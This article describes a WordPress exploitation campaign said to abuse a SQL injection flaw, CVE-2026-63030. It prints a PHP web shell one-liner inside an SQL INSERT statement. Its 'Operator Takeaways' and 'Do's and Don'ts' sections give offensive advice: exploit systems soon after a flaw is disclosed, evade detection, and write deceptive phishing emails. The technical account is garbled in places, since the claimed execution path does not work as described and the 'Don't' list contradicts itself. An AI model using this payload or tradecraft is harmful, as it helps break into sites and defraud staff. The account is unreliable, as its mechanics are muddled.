WordPress Exploitation Campaign: wp2shell Vulnerability CVE-2026-63030

The discovery of the wp2shell vulnerability in WordPress Core has illuminated a new threat vector exploited by cyber actors to compromise sites. Known as CVE-2026-63030, this SQL injection flaw became a focal point of exploitation campaigns targeting vulnerable WordPress installations globally. This article dissects these campaigns as reported by the SANS Internet Storm Center (ISC), detailing the tactics, techniques, and procedures (TTP) involved.

Campaign or TTP Overview

Observed from early 2026 through March, the wp2shell exploitation campaign affected thousands of WordPress sites, with the primary victims being small to medium-sized enterprises lacking stringent patch management. The attackers exploited CVE-2026-63030, which allows for arbitrary SQL commands to execute, facilitating remote code execution. This action is attributable to a threat actor group tentatively identified as “Web Wolves” based on their unique infrastructure and malware preferences.

The campaigns were first detected by security researchers in mid-February, with attacks sharply increasing post-disclosure of the vulnerability. While no specific geographical bias was noted, the affected WordPress sites frequently hosted e-commerce capabilities, thus offering lucrative data and financial information for the attackers to exfiltrate and monetize.

How It Was Built

The attack began with a crafted SQL injection payload targeting the vulnerable

wp_posts

table. Through exploiting improper input validation, the attackers inserted a malicious payload directly into database entries which WordPress Core would subsequently execute unwittingly. The payload execution facilitated remote shell access, which was achieved using a command sequence like:


INSERT INTO wp_posts (post_content) VALUES ('<?php system($_GET["cmd"]); ?>');

Initial access was typically gained through automated scanning for vulnerable sites, with bi-weekly scan spikes correlating with targeted mass injection attempts. The delivery mechanism comprised automated scripts deployed via a fast-flux DNS network, obscuring the attacker’s origin and complicating remediation.

Lure content and credentials were a secondary consideration as exfiltration targets focused on payment data harvested through compromised systems and subsequent database culprits. Workers received emails from purported service providers, enticing them to upload their credentials, with subject lines like “Critical Security Update Notification for Order Processing.”

Why It Worked

The primary efficacy of this campaign owes to the automated script’s capability of wide-scale exploitation combined with low-level obfuscation techniques. This obfuscation helped evade basic rule-based detection systems employed by lightly managed WordPress hosts.

Additionally, the exploitation of post-injection vulnerabilities to elevate access privileges within the WordPress environment was a key vector for spreading deeper into the server systems, with particular effectiveness in environments where default security settings were maintained.

The attacker’s choice of social engineering via tailored email communication to site admins further boosted their success rates. The emails exploited psychological factors such as urgency and authority, creating believable deception and prompting unsecured credential submission.

Operator Takeaways

Red team operators can harness insights from this campaign by leveraging similar SQL injection points discovered within other CMS platforms to simulate real-world attacks. Focus on using randomized scanning routines to avoid detection while maintaining a sophisticated phishing strategy that pairs technology with convincing communication.

A key operational enhancement would be to implement a balanced blend of technical compromise and social engineering. Understanding the human element and crafting deceptive messaging aligned with contextual relevance can markedly increase engagement rates, offering greater insight into organizational security postures.

Do’s and Don’ts

Do:

Leverage vulnerability disclosures by building campaigns swiftly post-announcement to exploit unpatched systems.
Utilize realistic common pattern emails to lower the suspicion threshold.
Automate infrastructure deployment to achieve efficiency in fast-flux DNS setups.

Don’t:

Avoid predictable, repetitive scanning that might raise defensive alarms.
Refrain from using heavily speculated phishing lures; simplicity paired with authenticity is key.
Ensure payloads are not embedded into overly generic CMS plugins, which can simplify detection.

References

SANS Internet Storm Center

Exploit Database